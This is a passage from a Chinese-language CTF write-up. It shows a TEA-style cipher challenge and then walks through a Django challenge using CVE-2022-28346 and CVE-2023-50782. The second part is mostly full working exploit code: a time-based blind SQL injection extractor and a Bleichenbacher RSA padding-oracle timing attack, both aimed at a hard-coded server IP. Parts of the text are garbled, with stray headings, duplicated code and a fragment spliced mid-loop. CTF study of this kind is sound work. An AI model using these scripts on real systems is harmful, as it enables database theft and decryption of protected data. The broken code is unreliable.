len(key), self.BLOCK_SIZE//16)]

self.DELTA = 0x9e3779b9

self.IV = iv

self.ROUNDS = 64

if self.IV:

self.mode = Mode.CBC if iv else Mode.ECB

if len(self.IV) * 8 != self.BLOCK_SIZE:

self.mode = Mode.CFB

def _xor(self, a, b):

return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))

def encrypt_block(self, msg):

m0 = b2l(msg[:4])

m1 = b2l(msg[4:])

msk = (1 << (self.BLOCK_SIZE//2)) - 1

s = 0

for i in range(self.ROUNDS):

s += self.DELTA

m0 += ((m1 << 4) + self.KEY[i % len(self.KEY)]) ^ (m1 + s) ^

((m1 >> 5) + self.KEY[(i+1) % len(self.KEY)])

m0 &= msk

m1 += ((m0 << 4) + self.KEY[(i+2) % len(self.KEY)]) ^ (m0 + s)

^ ((m0 >> 5) + self.KEY[(i+3) % len(self.KEY)])

m1 &= msk

return l2b((m0 << (self.BLOCK_SIZE//2)) | m1)

def encrypt(self, msg):

msg = pad(msg, self.BLOCK_SIZE//8)

blocks = [msg[i:i+self.BLOCK_SIZE//8] for i in range(0, len(msg),

self.BLOCK_SIZE//8)]

ct = b''

if self.mode == Mode.ECB:

for pt in blocks:

ct += self.encrypt_block(pt)

elif self.mode == Mode.CBC:

X = self.IV

for pt in blocks:

enc_block = self.encrypt_block(self._xor(X, pt))

ct += enc_block

X = enc_block

elif self.mode == Mode.CFB:

X = self.IV

for pt in blocks:

output = self.encrypt_block(X)

enc_block = self._xor(output, pt)

ct += enc_block

X = enc_block

return ct

if __name__ == '__main__':

KEY = get_random_bytes(16)

IV = get_random_bytes(8)

cipher = Cipher(KEY, IV)

FLAG = b'xxxxxxxxxxxxxxxxxxx'

ct = cipher.encrypt(FLAG)

# KEY: 3362623866656338306539313238353733373566366338383563666264386133

print(f'KEY: {{KEY.hex()}}')

# IV: 64343537373337663034346462393931

print(f'IV: {{IV.hex()}}')

# Ciphertext: 1cb8db8cabe8edbbddb211f3da4869cdee3bcfb850bce808

print(f'Ciphertext: {{ct.hex()}}')

</pre>

'''

return html_content

# @app.route('/encrypt', methods=['GET'])

# def chaos_2():

# link = url_for('content', _external=True)

# code_content = f"""

# # -*- coding: utf-8 -*-

# from <a href="{link}" style="text-decoration: none; color: black; cursor:

text;">ISCC</a> import ISCC

# import base64

# secret_key = "00chaos00crypto00kyuyu00"

# iscc = <a href="{link}" style="text-decoration: none; color: black;

cursor: text;">ISCC</a>(secret_key)

# flag = "Flag[3]: xxxxxxxxxx"

# ciphertext = iscc.encrypt(flag)

# print base64.b64encode(ciphertext)

# """

# return '<pre>' + code_content + '</pre>'

# @app.route('/PPPYthOn__c00De', methods=['GET'])

# def content():

# code_content = """

# # -*- coding: utf-8 -*-

# substitution_box = [54, 132, 138, 83, 16, 73, 187, 84, 146, 30, 95, 21,

148, 63, 65, 189,

# 188, 151, 72, 161, 116, 63, 161, 91, 37, 24, 126,

107, 87, 30, 117, 185,

# 98, 90, 0, 42, 140, 70, 86, 0, 42, 150, 54, 22, 144,

153, 36, 90,

# 149, 54, 156, 8, 59, 40, 110, 56, 1, 84, 103, 22, 65,

17, 190, 41,

# 99, 151, 119, 124, 68, 17, 166, 125, 95, 65, 105,

133, 49, 19, 138, 29,

# 110, 7, 81, 134, 70, 87, 180, 78, 175, 108, 26, 121,

74, 29, 68, 162,

# 142, 177, 143, 86, 129, 101, 117, 41, 57, 34, 177,

103, 61, 135, 191, 74,

# 69, 147, 90, 49, 135, 124, 106, 19, 89, 38, 21, 41,

17, 155, 83, 38,

# 159, 179, 19, 157, 68, 105, 151, 166, 171, 122, 179,

114, 52, 183, 89, 107,

# 113, 65, 161, 141, 18, 121, 95, 4, 95, 101, 81, 156,

17, 190, 38, 84,

# 9, 171, 180, 59, 45, 15, 34, 89, 75, 164, 190, 140,

6, 41, 188, 77,

# 165, 105, 5, 107, 31, 183, 107, 141, 66, 63, 10, 9,

125, 50, 2, 153,

# 156, 162, 186, 76, 158, 153, 117, 9, 77, 156, 11,

145, 12, 169, 52, 57,

# 161, 7, 158, 110, 191, 43, 82, 186, 49, 102, 166, 31,

41, 5, 189, 27]

# def shuffle_elements(perm, items):

# return list(map(lambda x: items[x], perm))

# def xor_sum_mod(a, b):

# combine = lambda x, y: x + y - 2 * (x & y)

# result = ''

# for i in range(len(a)):

# result += chr(combine(ord(a[i]), ord(b[i])))

# return result

# def generate_subkeys(original):

# permuted = shuffle_elements(substitution_box, original)

# grouped_bits = []

# for i in range(0, len(permuted), 7):

# grouped_bits.append(permuted[i:i + 7] + [1])

# compressed_keys = []

# for group in grouped_bits[:32]:

# position = 0

# value = 0

# for bit in group:

# value += (bit << position)

# position += 1

# compressed_keys.append((0x10001 ** value) % 0x7f)

# return compressed_keys

# def bytes_to_binary_list(data):

# byte_data = [ord(char) for char in data]

# total_bits = len(byte_data) * 8

# binary_list = [0] * total_bits

# position = 0

# for byte in byte_data:

# for i in range(8):

# binary_list[(position << 3) + i] = (byte >> i) & 1

# position += 1

# return binary_list

# class ISCC:

# def __init__(self, secret_key):

# if len(secret_key) != 24 or not isinstance(secret_key, bytes):

# raise ValueError("Error.")

# self.secret_key = secret_key

# self.prepare_keys()

# def prepare_keys(self):

# binary_key = bytes_to_binary_list(self.secret_key)

# all_keys = []

# for _ in range(8):

# binary_key = generate_subkeys(binary_key)

# all_keys.extend(binary_key)

# binary_key = bytes_to_binary_list(''.join([chr(num) for num

in binary_key[:24]]))

# self.round_keys = []

# for i in range(32):

# self.round_keys.append(''.join(map(chr, all_keys[i * 8: i * 8

+ 8])))

# def process_block(self, data_block, encrypting=True):

# assert len(data_block) == 16, "Error."

# left_half, right_half = data_block[:8], data_block[8:]

# for round_key in self.round_keys:

# left_half, right_half = right_half,

xor_sum_mod(left_half, round_key)

# return right_half + left_half

# def encrypt(self, plaintext):

# if len(plaintext) % 16 != 0 or not isinstance(plaintext, bytes):

# raise ValueError("Plaintext must be a multiple of 16 bytes.")

# encrypted_text = ''

# for i in range(0, len(plaintext), 16):

# encrypted_text += self.process_block(plaintext[i:i+16], True)

# return encrypted_text

# """

# return '<pre>' + code_content + '</pre>'

app . run ( host = '0.0.0.0' )

找到 Flag[3] 加密逻辑：

from Crypto . Util . Padding import pad

from Crypto . Util . number import bytes_to_long as b2l , long_to_bytes as l2b

from Crypto . Random import get_random_bytes

from enum import Enum

class Mode ( Enum ):

ECB = 0x01

CBC = 0x02

CFB = 0x03

class Cipher :

def __init__ ( self , key , iv = None ):

self . BLOCK_SIZE = 64

self . KEY = [ b2l ( key [ i : i + self . BLOCK_SIZE // 16 ]) for i in range ( 0 ,

len ( key ), self . BLOCK_SIZE // 16 )]

self . DELTA = 0x9e3779b9

self . IV = iv

self . ROUNDS = 64

if self . IV :

self . mode = Mode . CBC if iv else Mode . ECB

if len ( self . IV ) * 8 != self . BLOCK_SIZE :

self . mode = Mode . CFB

def _xor ( self , a , b ):

return b'' . join ( bytes ([ _a ^ _b ]) for _a , _b in zip ( a , b ))

def encrypt_block ( self , msg ):

m0 = b2l ( msg [: 4 ])

m1 = b2l ( msg [ 4 :])

msk = ( 1 << ( self . BLOCK_SIZE // 2 )) - 1

s = 0

for i in range ( self . ROUNDS ):

s += self . DELTA

m0 += (( m1 << 4 ) + self . KEY [ i % len ( self . KEY )]) ^ ( m1 + s ) ^

(( m1 >> 5 ) + self . KEY [( i + 1 ) % len ( self . KEY )])

m0 &= msk

m1 += (( m0 << 4 ) + self . KEY [( i + 2 ) % len ( self . KEY )]) ^ ( m0 + s ) ^

(( m0 >> 5 ) + self . KEY [( i + 3 ) % len ( self . KEY )])

m1 &= msk

return l2b (( m0 << ( self . BLOCK_SIZE // 2 )) | m1 )

def encrypt ( self , msg ):

msg = pad ( msg , self . BLOCK_SIZE // 8 )

blocks = [ msg [ i : i + self . BLOCK_SIZE // 8 ] for i in range ( 0 , len ( msg ),

self . BLOCK_SIZE // 8 )]

ct = b''

if self . mode == Mode . ECB :

for pt in blocks :

ct += self . encrypt_block ( pt )

elif self . mode == Mode . CBC :

X = self . IV

for pt in blocks :

enc_block = self . encrypt_block ( self . _xor ( X , pt ))

ct += enc_block

X = enc_block

elif self . mode == Mode . CFB :

X = self . IV

for pt in blocks :

解密：

output = self . encrypt_block ( X )

enc_block = self . _xor ( output , pt )

ct += enc_block

X = enc_block

return ct

if __name__ == '__main__' :

KEY = get_random_bytes ( 16 )

IV = get_random_bytes ( 8 )

cipher = Cipher ( KEY , IV )

FLAG = b'xxxxxxxxxxxxxxxxxxx'

ct = cipher . encrypt ( FLAG )

# KEY: 3362623866656338306539313238353733373566366338383563666264386133

print ( f'KEY: {{KEY.hex()}}' )

# IV: 64343537373337663034346462393931

print ( f'IV: {{IV.hex()}}' )

# Ciphertext: 1cb8db8cabe8edbbddb211f3da4869cdee3bcfb850bce808

print ( f'Ciphertext: {{ct.hex()}}' )

解密：

栅栏解密：

与时俱进

CVE-2022-28346

查看网页源代码，发现一个注释的 nick_name 字段，提示 aggregate。

进行注入测试，经验证该字段会被页面处理，会影响页面结果，但是没有回显。

结合题意，打时间盲注。

结合提示，且 django 默认使用 sqlite 作为数据库，验证发现是 sqlite 数据库。

跑

时间盲注脚本：

import requests

import string

import time

def time_inject(condition):

url = "http://101.200.138.180:8003/inquiry/"

headers = {}

cookies = {

"csrftoken": "", # 填自己的

}

data = {

"csrfmiddlewaretoken": "", # 填自己的

"sel_value": "name",

"nick_name":

f'name",(case

when({condition})

then

randomblob(1000000000) else 0 end),"1',

}

while True:

try:

start = time.time()

response = requests.post(url, headers=headers, cookies=cookies,

data=data)

end = time.time()

time_cost = end - start

print("time cost: ", time_cost)

if time_cost > 3:

return True

else:

return False

except:

continue

def get_length(var_name):

for i in range(1, 1000):

if time_inject(f"length({var_name})={i}"):

return i

def get_char(var_name, index):

alphabet = string.printable

for c in alphabet:

if time_inject(f"substr({var_name},{index},1)='{c}'"):

return c

def get_value(var_name, length):

for i in range(1, length + 1):

char = get_char(var_name, i)

if char is None:

result += f"{{{i}}}"

else:

result += char

return result

def get_tables_name():

payload = "(select group_concat(tbl_name) from sqlite_master where

type='table' and tbl_name NOT like 'sqlite_%')"

length = get_length(payload)

result = get_value(payload, length)

return result

def get_schema(table_name):

payload = f"(select group_concat(sql) from sqlite_master where type='table'

and name='{table_name}')"

length = get_length(payload)

result = get_value(payload, length)

return result

def get_data(table_name, column_name):

payload = f"(select group_concat({column_name}) from {table_name})"

length = get_length(payload)

result = get_value(payload, length)

return result

def get_flag():

result = ""

for i in range(1, 14):

payload = "(select group_concat(flag) from flag)"

result += get_char(payload, i)

return result

def main():

print(get_flag())

# get_data('flag', 'flag')

if __name__ == "__main__":

main()

运行后得到 flag 是 url{i722vrr0}，交了不对，访问该地址/i722vrr0，下载到了一

份源码：

根目录下有公钥、密文文件，查看依赖看见 cryptography==3.3.0。

审计之后，finally/views 和 finally/functions 存在加密解密逻辑，但是缺少私钥，

无法解密，猜测私钥存在服务器上：

CVE-2023-50782

漏洞披露信息显示是 Bleichenbacher timing oracle attack，搜索相关信息，找到

一个可用的脚本： Classic Bleichenbacher RSA Padding Oracle Attack

(github.com)

基于此脚本修改得到：

import cryptography.hazmat.primitives.asymmetric.rsa as rsa

from cryptography.hazmat.backends import default_backend

from cryptography.hazmat.primitives.asymmetric import padding

from cryptography.hazmat.primitives import serialization

import binascii

import math

import textwrap

from Crypto.Util.number import *

import requests

def load_private_key_from_pem(file_path):

with open(file_path, 'rb') as f:

private_key = serialization.load_pem_private_key(

f.read(),

password=None,

backend=default_backend()

)

return private_key

def load_public_key_from_pem(file_path):

with open(file_path, 'rb') as f:

public_key = serialization.load_pem_public_key(

f.read(),

backend=default_backend()

)

return public_key

def time_attack(ciphertext, threshold=0.4):

url = "http://101.200.138.180:8003/decode/"

headers = {

}

cookies = {

"csrftoken": "", # 填你自己的

}

data = {

"csrfmiddlewaretoken": "", # 填你自己的

"ciphertext": ciphertext

}

retries = 3

for i in range(retries):

try:

response = requests.post(

url,

headers=headers,

cookies=cookies,

data=data,

timeout=threshold)

if response.status_code != 200:

print("status_code:", response.status_code)

continue

print("response:", response.text)

return True

except requests.exceptions.Timeout:

return False

def local_setup():

'generates a key pair for local testing'

print('Using local loop back oracle for testing')

pub_key = load_public_key_from_pem("public_key3.pem")

pn = pub_key.public_numbers()

# print('

keysize: {}'.format(priv_key.key_size))

print('

e: {}'.format(pn.e))

print('

n: {}'.format(pn.n))

# print('

p: {}'.format(priv_key.private_numbers().p))

# print('

q: {}'.format(priv_key.private_numbers().q))

# print('

d: {}'.format(priv_key.private_numbers().d))

ciphertext = long_to_bytes(

int(open("message_bak3.log", "r").read().strip()))

print('

c: {}'.format(binascii.hexlify(ciphertext)))

print()

def oracle(ct):

c = int.from_bytes(ct, 'big')

return time_attack(c)

return ciphertext, oracle, pn.e, pn.n

# these two defs avoid rounding issues with floating point during

# division (especially with large numbers)

def ceildiv(a, b):

return -(-a // b)

def floordiv(a, b):

return (a // b)

oracle_ctr = 0

def main():

print('Bleichenbacher RSA padding algorithm')

print('

for more info see 1998 paper.')

print()

# setup parameters, change local_setup with alternative

# implementation, such as an oracle that uses a real server

ct, oracle, e, n = local_setup()

# byte length of n

k = int(ceildiv(math.log(n, 2), 8))

# convert ciphertext from bytes into integer

c = int.from_bytes(ct, 'big')

# lift oracle defition to take integers

def oracle_int(x):

global oracle_ctr

oracle_ctr = oracle_ctr + 1

if oracle_ctr % 100000 == 0:

print("[{}K tries] ".format(oracle_ctr // 1000), end='',

flush=True)

return oracle(x.to_bytes(k, 'big'))

# define B as size of ciphertext space

as first two bytes are 00 02, use 2^(keysize - 16)

B = pow(2, 8 * (k-2))

# precompute constants

_2B = 2 * B

_3B = 3 * B

def multiply(x, y): return (x * pow(y, e, n)) % n

# should be identity as c is valid cipher text

c0 = multiply(c, 1)

assert c0 == c

i = 1

M = [(_2B, _3B - 1)]

s = 1

# ensure everything is working as expected

if oracle_int(c0):

print('Oracle ok, implicit step 1 passed')

else:

print('Oracle fail sanity check')

exit(1)

while True:

if i == 1:

print('start case 2.a: ', end='', flush=True)

ss = ceildiv(n, _3B)

while not oracle_int(multiply(c0, ss)):

ss = ss + 1

print('done. found s1 in {} iterations: {}'.format(

ss - ceildiv(n, _3B), ss))

else:

assert i > 1

if len(M) > 1:

print('start case 2.b: ', end='', flush=True)

ss = s + 1

while not oracle_int(multiply(c0, ss)):

ss = ss + 1

print('done. found s{} in {} iterations: {}'.format(

i, ss-s, ss))

else:

print('start case 2.c: ', end='', flush=True)

assert len(M) == 1

a, b = M[0]

r = ceildiv(2 * (b * s - _2B), n)

ctr = 0

while True:

# note: the floor function below needed +1 added

# to it, this is not clear from the paper (see

# equation 2 in paper where \lt is used instead of

# \lte).

for ss in range(

ceildiv(_2B + r * n, b),

floordiv(_3B + r * n, a) + 1):

ctr = ctr + 1

严禁泄露 if oracle_int(multiply(c0, ss)):

break

else:

r = r + 1

continue

break

print('done. found s{} in {} iterations: {}'.format(i,

ctr, ss))

# step 3, narrowing solutions

MM = []

for a, b in M:

for r in range(ceildiv(a * ss - _3B + 1, n),

floordiv(b * ss - _2B, n) + 1):

m = (

max(a, ceildiv(_2B + r * n, ss)),

min(b, floordiv(_3B - 1 + r * n, ss))

)

if m not in MM:

MM.append(m)

print('found interval [{},{}]'.format(m[0], m[1]))

# step 4, compute solutions

M = MM

s = ss

i = i + 1

if len(M) == 1 and M[0][0] == M[0][1]:

print()

print('Completed!')

print('used the oracle {} times'.format(oracle_ctr))

# note, no need to find multiplicative inverse of s0 in n

# as s0 = 1, so M[0][0] is directly the message.

message = M[0][0].to_bytes(k, 'big')

print('raw decryption: {}'.format(

binascii.hexlify(message).decode('utf-8')))

if message[0] != 0 or message[1] != 2:

return

message = message[message.index(b'\x00', 1) + 1:]

print(message)

print('unpadded message hex: {}'.format(

binascii.hexlify(message).decode('utf-8')))

try:

print('unpadded message ascii: {}'.format(

message.decode('utf-8')))

except UnicodeError:

pass

return

if __name__ == "__main__":

main()